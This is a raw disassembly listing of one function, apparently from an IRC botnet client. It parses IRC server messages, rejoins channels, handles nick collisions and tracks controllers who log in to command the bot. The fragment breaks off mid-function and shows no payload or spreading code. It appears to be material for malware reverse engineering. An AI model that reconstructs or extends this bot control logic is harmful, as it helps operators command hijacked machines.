var_162C	= byte ptr -162Ch
var_15EC	= byte ptr -15ECh
var_155C	= dword	ptr -155Ch
var_1558	= dword	ptr -1558h
var_1554	= dword	ptr -1554h
var_1550	= dword	ptr -1550h
var_154C	= byte ptr -154Ch
var_1548	= byte ptr -1548h
var_1448	= dword	ptr -1448h
var_1444	= byte ptr -1444h
var_1440	= dword	ptr -1440h
var_143C	= byte ptr -143Ch
var_13BC	= byte ptr -13BCh
var_1340	= byte ptr -1340h
var_12B8	= byte ptr -12B8h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1234	= dword	ptr -1234h
var_1230	= byte ptr -1230h
var_11B4	= dword	ptr -11B4h
var_11B0	= dword	ptr -11B0h
var_11AC	= dword	ptr -11ACh
var_11A8	= dword	ptr -11A8h
var_11A4	= dword	ptr -11A4h
var_11A0	= byte ptr -11A0h
var_1120	= byte ptr -1120h
var_10A0	= byte ptr -10A0h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= byte ptr -0FFCh
var_F7C		= byte ptr -0F7Ch
var_EFC		= dword	ptr -0EFCh
var_EF8		= dword	ptr -0EF8h
var_EF4		= dword	ptr -0EF4h
var_EEC		= dword	ptr -0EECh
var_EE8		= dword	ptr -0EE8h
var_EE4		= dword	ptr -0EE4h
var_EDC		= byte ptr -0EDCh
var_E8C		= dword	ptr -0E8Ch
var_E88		= byte ptr -0E88h
var_E84		= dword	ptr -0E84h
var_E80		= byte ptr -0E80h
var_E00		= byte ptr -0E00h
var_D00		= byte ptr -0D00h
var_C01		= byte ptr -0C01h
var_C00		= byte ptr -0C00h
var_B00		= dword	ptr -0B00h
var_AFC		= dword	ptr -0AFCh
var_AF8		= dword	ptr -0AF8h
var_AF4		= dword	ptr -0AF4h
var_AF0		= dword	ptr -0AF0h
var_AEC		= dword	ptr -0AECh
var_AE8		= dword	ptr -0AE8h
var_AE4		= dword	ptr -0AE4h
var_AE0		= dword	ptr -0AE0h
var_ADC		= byte ptr -0ADCh
var_ABC		= dword	ptr -0ABCh
var_AB8		= byte ptr -0AB8h
var_A7C		= dword	ptr -0A7Ch
var_A78		= byte ptr -0A78h
var_A38		= byte ptr -0A38h
var_9F8		= byte ptr -9F8h
var_978		= byte ptr -978h
var_8F8		= dword	ptr -8F8h
var_8F4		= dword	ptr -8F4h
var_8F0		= dword	ptr -8F0h
var_8EC		= dword	ptr -8ECh
var_8E8		= dword	ptr -8E8h
var_8E4		= dword	ptr -8E4h
var_8E0		= dword	ptr -8E0h
var_8DC		= byte ptr -8DCh
var_85C		= dword	ptr -85Ch
var_858		= byte ptr -858h
var_84C		= byte ptr -84Ch
var_848		= byte ptr -848h
var_7D8		= byte ptr -7D8h
var_758		= dword	ptr -758h
var_754		= dword	ptr -754h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= byte ptr -748h
var_73C		= byte ptr -73Ch
var_72C		= dword	ptr -72Ch
var_728		= byte ptr -728h
var_6A8		= byte ptr -6A8h
var_628		= dword	ptr -628h
var_624		= dword	ptr -624h
var_620		= dword	ptr -620h
var_61C		= dword	ptr -61Ch
var_618		= dword	ptr -618h
var_614		= dword	ptr -614h
var_610		= dword	ptr -610h
var_60C		= dword	ptr -60Ch
var_608		= byte ptr -608h
var_5F8		= byte ptr -5F8h
var_578		= byte ptr -578h
var_4F8		= dword	ptr -4F8h
var_4F4		= dword	ptr -4F4h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4BC		= byte ptr -4BCh
var_4A0		= dword	ptr -4A0h
var_49C		= byte ptr -49Ch
var_498		= dword	ptr -498h
var_494		= byte ptr -494h
var_488		= dword	ptr -488h
var_484		= byte ptr -484h
var_41C		= byte ptr -41Ch
var_414		= dword	ptr -414h
var_410		= dword	ptr -410h
var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= dword	ptr -400h
var_3FC		= dword	ptr -3FCh
var_3F8		= dword	ptr -3F8h
var_3F4		= dword	ptr -3F4h
var_3F0		= byte ptr -3F0h
var_38F		= byte ptr -38Fh
var_38E		= byte ptr -38Eh
var_38C		= byte ptr -38Ch
var_38B		= byte ptr -38Bh
var_388		= dword	ptr -388h
var_384		= dword	ptr -384h
var_380		= dword	ptr -380h
var_37C		= byte ptr -37Ch
var_354		= byte ptr -354h
var_334		= dword	ptr -334h
var_308		= dword	ptr -308h
var_304		= dword	ptr -304h
var_300		= dword	ptr -300h
var_2FC		= dword	ptr -2FCh
var_2F8		= dword	ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_D8		= word ptr -0D8h
var_D6		= word ptr -0D6h
var_D4		= dword	ptr -0D4h
var_C8		= byte ptr -0C8h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_64		= byte ptr -64h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 27F0h
		call	sub_416B20
		push	ebx
		push	esi
		push	edi
		mov	esi, 80h
		xor	eax, eax
		push	1Bh
		push	[ebp+arg_10]
		xor	ebx, ebx
		mov	ecx, esi
		lea	edi, [ebp+var_2F0]
		rep stosd
		lea	eax, [ebp+var_4BC]
		push	eax
		mov	[ebp+var_20], 3
		mov	[ebp+var_18], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_4169C0
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		jz	loc_409A86
		mov	ecx, esi
		mov	esi, 1FFh
		push	esi
		push	[ebp+arg_0]
		lea	edi, [ebp+var_21F0]
		rep stosd
		lea	eax, [ebp+var_21F0]
		push	eax
		call	sub_4169C0
		lea	eax, [ebp+var_21F0]
		push	offset asc_4285C8 ; " :"
		push	eax
		call	sub_4173D0
		mov	[ebp+var_14], eax
		push	esi
		lea	eax, [ebp+var_21F0]
		push	eax
		lea	eax, [ebp+var_23F0]
		push	eax
		call	sub_4169C0
		mov	esi, offset asc_422B08 ; " "
		lea	eax, [ebp+var_23F0]
		push	esi
		push	eax
		call	sub_417779
		xor	edi, edi
		add	esp, 28h
		mov	[ebp+var_A4], eax
		inc	edi


loc_4098C3:				; CODE XREF: sub_409806+D1j
		push	esi
		push	ebx
		call	sub_417779
		mov	[ebp+edi*4+var_A4], eax
		inc	edi
		cmp	edi, 20h
		pop	ecx
		pop	ecx
		jl	short loc_4098C3
		mov	ebx, [ebp+var_A4]
		xor	esi, esi
		cmp	ebx, esi
		jz	loc_409A84
		cmp	[ebp+var_A0], esi
		jz	loc_409A84
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_3F0]
		push	1Fh
		rep stosd
		pop	edx


loc_409905:				; CODE XREF: sub_409806+137j
		lea	ecx, [ebp+edx*4+var_A4]
		mov	eax, [ecx]
		cmp	eax, esi
		jz	short loc_40993C
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40993F
		cmp	byte ptr [eax+2], 0
		jnz	short loc_40993F
		movsx	edi, byte ptr [eax+1]
		and	byte ptr [eax],	0
		and	byte ptr [eax+1], 0
		and	byte ptr [eax+2], 0
		mov	[ecx], esi
		mov	ebx, [ebp+var_A4]
		mov	[ebp+edi+var_3F0], 1


loc_40993C:				; CODE XREF: sub_409806+10Aj
		dec	edx
		jns	short loc_409905


loc_40993F:				; CODE XREF: sub_409806+10Fj
					; sub_409806+115j
		cmp	byte ptr [ebp+var_380+3], 0
		jz	short loc_40994F
		mov	[ebp+var_C], 1


loc_40994F:				; CODE XREF: sub_409806+140j
		cmp	byte ptr [ebp+var_384+2], 0
		jz	short loc_409962
		mov	[ebp+var_C], esi
		mov	[ebp+var_4], 1


loc_409962:				; CODE XREF: sub_409806+150j
		cmp	byte ptr [ebx],	0Ah
		jz	short loc_40999C
		push	7Fh
		lea	eax, [ebp+var_8DC]
		push	ebx
		push	eax
		call	sub_4169C0
		push	17h
		lea	eax, [ebx+1]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		call	sub_4169C0
		lea	eax, [ebp+var_F0]
		push	offset asc_42A9BC ; "!"
		push	eax
		call	sub_417779
		add	esp, 20h


loc_40999C:				; CODE XREF: sub_409806+15Fj
		push	5
		mov	edi, ebx
		mov	esi, offset aPing ; "PING"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4099EA
		push	[ebp+var_A0]
		mov	byte ptr [ebx+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	dword ptr [eax], 0
		jnz	loc_409A84


loc_4099D2:				; CODE XREF: sub_409806+3D7j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS_0 ; "JOIN %s %s\r\n"


loc_4099DD:				; CODE XREF: sub_409806+6D3j
					; sub_409806+939j ...
		push	[ebp+arg_4]
		call	sub_405CD5
		jmp	loc_40E78A
; ---------------------------------------------------------------------------


loc_4099EA:				; CODE XREF: sub_409806+1A4j
		mov	edx, [ebp+var_A0]
		push	4
		pop	eax
		mov	edi, edx
		mov	esi, offset a001 ; "001"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jz	loc_40FA88
		mov	edi, edx
		mov	esi, offset a005 ; "005"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jz	loc_40FA88
		mov	edi, edx
		mov	esi, offset a302 ; "302"
		mov	ecx, eax
		xor	ebx, ebx
		repe cmpsb
		jnz	short loc_409A4D
		push	offset a@	; "@"
		push	[ebp+var_98]
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_409A84
		push	9Fh
		inc	eax
		push	eax
		push	[ebp+arg_1C]
		jmp	loc_409CF2
; ---------------------------------------------------------------------------


loc_409A4D:				; CODE XREF: sub_409806+220j
		mov	ecx, eax
		mov	edi, edx
		mov	esi, offset a433 ; "433"
		xor	eax, eax
		repe cmpsb
		jnz	short loc_409A8C
		push	eax
		push	dword_42FCE0
		push	dword_42FCDC
		push	[ebp+arg_10]
		call	sub_411098
		push	[ebp+arg_10]
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		add	esp, 1Ch


loc_409A84:				; CODE XREF: sub_409806+DDj
					; sub_409806+E9j ...
		xor	eax, eax


loc_409A86:				; CODE XREF: sub_409806+52j
		inc	eax


loc_409A87:				; CODE XREF: sub_409806+16FEj
					; sub_409806+34FAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409A8C:				; CODE XREF: sub_409806+254j
		mov	edi, [ebp+arg_18]
		push	2
		pop	edx


loc_409A92:				; CODE XREF: sub_409806+2CDj
		lea	eax, [ebp+var_8DC]
		mov	esi, edi


loc_409A9A:				; CODE XREF: sub_409806+2B0j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_409ABC
		test	cl, cl
		jz	short loc_409AB8
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_409ABC
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_409A9A


loc_409AB8:				; CODE XREF: sub_409806+29Ej
		xor	eax, eax
		jmp	short loc_409AC1
; ---------------------------------------------------------------------------


loc_409ABC:				; CODE XREF: sub_409806+29Aj
					; sub_409806+2A8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_409AC1:				; CODE XREF: sub_409806+2B4j
		test	eax, eax
		jnz	short loc_409ACC
		mov	[ebp+var_1C], 1


loc_409ACC:				; CODE XREF: sub_409806+2BDj
		add	edi, 80h
		dec	edx
		jnz	short loc_409A92
		mov	edi, [ebp+var_A0]
		push	5
		mov	esi, offset aKick ; "KICK"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_409BE2
		mov	edi, [ebp+arg_18]
		push	2
		pop	ebx


loc_409AF3:				; CODE XREF: sub_409806+393j
		cmp	byte ptr [edi],	0
		jz	loc_409B92
		push	7Fh
		lea	eax, [ebp+var_8DC]
		push	edi
		push	eax
		call	sub_4169C0
		add	esp, 0Ch
		cmp	[ebp+var_98], 0
		jz	short loc_409B92
		mov	esi, [ebp+var_98]
		lea	eax, [ebp+var_F0]


loc_409B23:				; CODE XREF: sub_409806+339j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_409B45
		test	cl, cl
		jz	short loc_409B41
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_409B45
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_409B23


loc_409B41:				; CODE XREF: sub_409806+327j
		xor	eax, eax
		jmp	short loc_409B4A
; ---------------------------------------------------------------------------


loc_409B45:				; CODE XREF: sub_409806+323j
					; sub_409806+331j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_409B4A:				; CODE XREF: sub_409806+33Dj
		test	eax, eax
		jnz	short loc_409B92
		and	[edi], al
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aMainUserSLogge ; "[MAIN]: User %s logged out."
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_2F0]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_405CD5
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD
		add	esp, 20h


loc_409B92:				; CODE XREF: sub_409806+2F0j
					; sub_409806+30Fj ...
		add	edi, 80h
		dec	ebx
		jnz	loc_409AF3
		mov	esi, [ebp+var_98]
		mov	eax, [ebp+arg_10]


loc_409BA8:				; CODE XREF: sub_409806+3BEj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_409BCA
		test	cl, cl
		jz	short loc_409BC6
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_409BCA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_409BA8


loc_409BC6:				; CODE XREF: sub_409806+3ACj
		xor	eax, eax
		jmp	short loc_409BCF
; ---------------------------------------------------------------------------


loc_409BCA:				; CODE XREF: sub_409806+3A8j
					; sub_409806+3B6j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_409BCF:				; CODE XREF: sub_409806+3C2j
		test	eax, eax
		jnz	loc_409A84
		mov	eax, [ebp+arg_20]
		and	dword ptr [eax], 0
		jmp	loc_4099D2
; ---------------------------------------------------------------------------


loc_409BE2:				; CODE XREF: sub_409806+2E1j
		mov	edi, [ebp+var_A0]
		push	5
		mov	esi, offset aNick ; "NICK"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_409DC2
		mov	eax, [ebp+var_9C]
		or	[ebp+var_1C], 0FFFFFFFFh
		mov	ebx, [ebp+arg_18]
		inc	eax
		sub	[ebp+var_1C], eax
		mov	[ebp+arg_0], eax
		mov	[ebp+var_20], 2


loc_409C15:				; CODE XREF: sub_409806+4A0j
		lea	eax, [ebp+var_8DC]
		mov	esi, ebx


loc_409C1D:				; CODE XREF: sub_409806+433j
		mov	dl, [esi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_409C3F
		test	cl, cl
		jz	short loc_409C3B
		mov	dl, [esi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_409C3F
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_409C1D


loc_409C3B:				; CODE XREF: sub_409806+421j
		xor	eax, eax
		jmp	short loc_409C44
; ---------------------------------------------------------------------------


loc_409C3F:				; CODE XREF: sub_409806+41Dj
					; sub_409806+42Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_409C44:				; CODE XREF: sub_409806+437j
		test	eax, eax
		jnz	short loc_409C9D
		lea	eax, [ebp+var_8DC]
		push	21h
		push	eax
		call	sub_417E10
		mov	edi, eax
		test	edi, edi
		pop	ecx
		pop	ecx
		jz	short loc_409C9D
		mov	eax, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		lea	ecx, [ebx+2]
		mov	byte ptr [ebx],	3Ah
		lea	esi, [eax+ecx]


loc_409C6D:				; CODE XREF: sub_409806+46Fj
		mov	al, [edx]
		mov	[esi+edx], al
		inc	edx
		test	al, al
		jnz	short loc_409C6D
		mov	eax, edi
		mov	esi, edi


loc_409C7B:				; CODE XREF: sub_409806+47Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_409C7B
		sub	eax, esi
		dec	ecx


loc_409C85:				; CODE XREF: sub_409806+485j
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jnz	short loc_409C85
		mov	edi, ecx
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_409C9D:				; CODE XREF: sub_409806+440j
					; sub_409806+456j
		add	ebx, 80h
		dec	[ebp+var_20]
		jnz	loc_409C15
		cmp	[ebp+arg_0], 0
		jz	loc_409A84
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_F0]


loc_409CBF:				; CODE XREF: sub_409806+4D5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_409CE1
		test	cl, cl
		jz	short loc_409CDD
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_409CE1
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_409CBF


loc_409CDD:				; CODE XREF: sub_409806+4C3j
		xor	eax, eax
		jmp	short loc_409CE6
; ---------------------------------------------------------------------------


loc_409CE1:				; CODE XREF: sub_409806+4BFj
					; sub_409806+4CDj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_409CE6:				; CODE XREF: sub_409806+4D9j
		test	eax, eax
		jnz	short loc_409CFF
		push	0Fh
		push	[ebp+arg_0]
		push	[ebp+arg_10]


loc_409CF2:				; CODE XREF: sub_409806+242j
		call	sub_4169C0
		add	esp, 0Ch
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_409CFF:				; CODE XREF: sub_409806+4E2j
		mov	edx, [ebp+arg_18]
		xor	edi, edi


loc_409D04:				; CODE XREF: sub_409806+540j
		cmp	byte ptr [edx],	0
		jz	short loc_409D3C
		lea	eax, [ebp+var_8DC]
		mov	esi, edx


loc_409D11:				; CODE XREF: sub_409806+527j
		mov	bl, [esi]
		mov	cl, bl
		cmp	bl, [eax]
		jnz	short loc_409D33
		test	cl, cl
		jz	short loc_409D2F
		mov	bl, [esi+1]
		mov	cl, bl
		cmp	bl, [eax+1]
		jnz	short loc_409D33
		inc	esi
		inc	esi
		inc	eax
		inc	eax
		test	cl, cl
		jnz	short loc_409D11


loc_409D2F:				; CODE XREF: sub_409806+515j
		xor	eax, eax
		jmp	short loc_409D38
; ---------------------------------------------------------------------------


loc_409D33:				; CODE XREF: sub_409806+511j
					; sub_409806+51Fj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_409D38:				; CODE XREF: sub_409806+52Bj
		test	eax, eax
		jz	short loc_409D4D


loc_409D3C:				; CODE XREF: sub_409806+501j
		inc	edi
		add	edx, 80h
		cmp	edi, 2
		jl	short loc_409D04
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_409D4D:				; CODE XREF: sub_409806+534j
		lea	eax, [ebp+var_8DC]
		push	21h
		push	eax
		call	sub_417E10
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		pop	ecx
		jz	loc_409A84
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+1]


loc_409D6D:				; CODE XREF: sub_409806+56Cj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jnz	short loc_409D6D
		sub	ecx, edx
		mov	edx, ebx
		lea	esi, [edx+1]


loc_409D7B:				; CODE XREF: sub_409806+57Aj
		mov	al, [edx]
		inc	edx
		test	al, al
		jnz	short loc_409D7B
		sub	edx, esi
		add	edx, ecx
		cmp	edx, 7Eh
		ja	loc_409A84
		push	ebx
		push	[ebp+arg_0]
		shl	edi, 7
		add	edi, [ebp+arg_18]
		push	offset aSS_3	; ":%s%s"
		push	edi
		call	sub_416905
		push	0
		push	0
		lea	eax, [ebp+var_354]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_405D20
		add	esp, 24h
		jmp	loc_409A84
; ---------------------------------------------------------------------------


loc_409DC2:				; CODE XREF: sub_409806+3EEj
		mov	edi, [ebp+var_A0]
		mov	ebx, offset aPart ; "PART"
		push	5
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_409DEC
		mov	edi, [ebp+var_A0]
		push	5
		mov	esi, offset aQuit ; "QUIT"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_409E3C


loc_409DEC:				; CODE XREF: sub_409806+5D0j
		mov	esi, [ebp+arg_18]
		xor	eax, eax
		mov	[ebp+var_10], esi


loc_409DF4:				; CODE XREF: sub_409806+634j
		cmp	byte ptr [esi],	0
		jz	short loc_409E2A
		mov	edi, [ebp+var_A4]


loc_409DFF:				; CODE XREF: sub_409806+615j
		mov	dl, [esi]
		mov	cl, dl
		cmp	dl, [edi]
		jnz	short loc_409E21
		test	cl, cl
		jz	short loc_409E1D
		mov	dl, [esi+1]
		mov	cl, dl
		cmp	dl, [edi+1]
		jnz	short loc_409E21
		inc	esi
		inc	esi
		inc	edi
		inc	edi
		test	cl, cl
		jnz	short loc_409DFF


loc_409E1D:				; CODE XREF: sub_409806+603j
		xor	ecx, ecx
		jmp	short loc_409E26
; ---------------------------------------------------------------------------


loc_409E21:				; CODE XREF: sub_409806+5FFj
					; sub_409806+60Dj
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_409E26:				; CODE XREF: sub_409806+619j
		test	ecx, ecx
		jz	short loc_409E7F


loc_409E2A:				; CODE XREF: sub_409806+5F1j
		mov	esi, [ebp+var_10]
		inc	eax
		add	esi, 80h
		cmp	eax, 2
		mov	[ebp+var_10], esi
		jl	short loc_409DF4


loc_409E3C:				; CODE XREF: sub_409806+5E4j
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset a353 ; "353"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_409F00
		mov	esi, [ebp+var_94]
		mov	eax, [ebp+arg_8]


loc_409E5D:				; CODE XREF: sub_409806+673j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_409EDE
		test	cl, cl
		jz	short loc_409E7B
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_409EDE
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_409E5D


loc_409E7B:				; CODE XREF: sub_409806+661j
		xor	eax, eax
		jmp	short loc_409EE3
; ---------------------------------------------------------------------------


loc_409E7F:				; CODE XREF: sub_409806+622j
		mov	ecx, [ebp+arg_18]
		shl	eax, 7
		and	byte ptr [eax+ecx], 0
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	offset aMainUserSLog_0 ; "[MAIN]: User:	%s logged out."
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_401ECD
		mov	edi, [ebp+var_A0]
		add	esp, 10h
		push	5
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_409A84
		lea	eax, [ebp+var_2F0]
		push	eax
		mov	eax, [ebp+var_A4]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_4099DD
; ---------------------------------------------------------------------------


loc_409EDE:				; CODE XREF: sub_409806+65Dj
					; sub_409806+66Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_409EE3:				; CODE XREF: sub_409806+677j
		test	eax, eax
		jnz	short loc_409EF0
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_409EF0:				; CODE XREF: sub_409806+6DFj
		push	[ebp+var_94]
		push	offset aMainJoinedChan ; "[MAIN]: Joined channel: %s."
		jmp	loc_40FA7C
; ---------------------------------------------------------------------------


loc_409F00:				; CODE XREF: sub_409806+648j
		mov	edi, [ebp+var_A0]
		mov	eax, offset aPrivmsg ; "PRIVMSG"
		push	8
		xor	edx, edx
		mov	esi, eax
		pop	ecx
		repe cmpsb
		mov	edx, offset aNotice ; "NOTICE"
		jz	short loc_409F50
		mov	edi, [ebp+var_A0]
		push	7
		mov	esi, edx
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_409F50
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_42A8E8
		pop	ecx
		xor	ebx, ebx
		repe cmpsb
		jnz	loc_40F8C3
		cmp	dword_42FCC8, ebx
		jz	loc_40F8C3


loc_409F50:				; CODE XREF: sub_409806+713j
					; sub_409806+724j
		mov	edi, [ebp+var_A0]
		mov	ebx, [ebp+var_20]
		mov	esi, eax
		push	8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40A055
		mov	edi, [ebp+var_A0]
		push	7
		mov	esi, edx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40A055
		mov	eax, [ebp+var_98]
		inc	[ebp+var_94]
		mov	[ebp+var_20], 4
		mov	[ebp+var_9C], eax


loc_409F96:				; CODE XREF: sub_409806+90Dj
					; sub_409806+94Cj ...
		mov	ebx, [ebp+var_20]
		shl	ebx, 2
		lea	eax, [ebp+ebx+var_A4]
		mov	ecx, [eax]
		lea	edx, [ecx+1]
		mov	[eax], edx
		mov	al, byte_42FCD4
		cmp	[ecx], al
		mov	[ebp+var_BC], edx
		jnz	loc_409A84
		push	6
		mov	edi, edx
		mov	esi, offset aLogin ; "login"
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40F8CB
		push	2
		mov	edi, edx
		mov	esi, offset dword_42A8E4
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_40F8CB
		cmp	[ebp+var_1C], eax
		jnz	short loc_40A002
		mov	edi, [ebp+var_A0]
		push	4
		mov	esi, offset dword_42A8E8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_40F8C3


loc_40A002:				; CODE XREF: sub_409806+7E2j
		xor	eax, eax
		cmp	[ebp+arg_28], eax
		jnz	loc_40F8C3
		cmp	dword_4301A0, eax
		mov	[ebp+var_10], eax
		jle	loc_40A317
		mov	[ebp+var_1C], offset dword_47FF38


loc_40A023:				; CODE XREF: sub_409806+997j
		mov	edi, [ebp+var_1C]
		mov	esi, edx


loc_40A028:				; CODE XREF: sub_409806+846j
		mov	cl, [edi]
		mov	al, cl
		cmp	cl, [esi]
		jnz	loc_40A181
		test	al, al
		jz	short loc_40A04E
		mov	cl, [edi+1]
		mov	al, cl
		cmp	cl, [esi+1]
		jnz	loc_40A181
		inc	edi
		inc	edi
		inc	esi
		inc	esi
		test	al, al
		jnz	short loc_40A028


loc_40A04E:				; CODE XREF: sub_409806+830j
		xor	eax, eax
		jmp	loc_40A186
; ---------------------------------------------------------------------------


loc_40A055:				; CODE XREF: sub_409806+75Cj
					; sub_409806+771j
		mov	edi, [ebp+var_A0]
		push	7
		mov	esi, edx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_40A06D
		mov	[ebp+var_4], 1


loc_40A06D:				; CODE XREF: sub_409806+85Ej
		cmp	[ebp+var_9C], 0
		jz	loc_409A84
		push	offset dword_42A8E0
		push	[ebp+var_9C]
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40A096
		cmp	[ebp+var_4], 0
		jz	short loc_40A0A2


loc_40A096:				; CODE XREF: sub_409806+888j
		lea	eax, [ebp+var_F0]
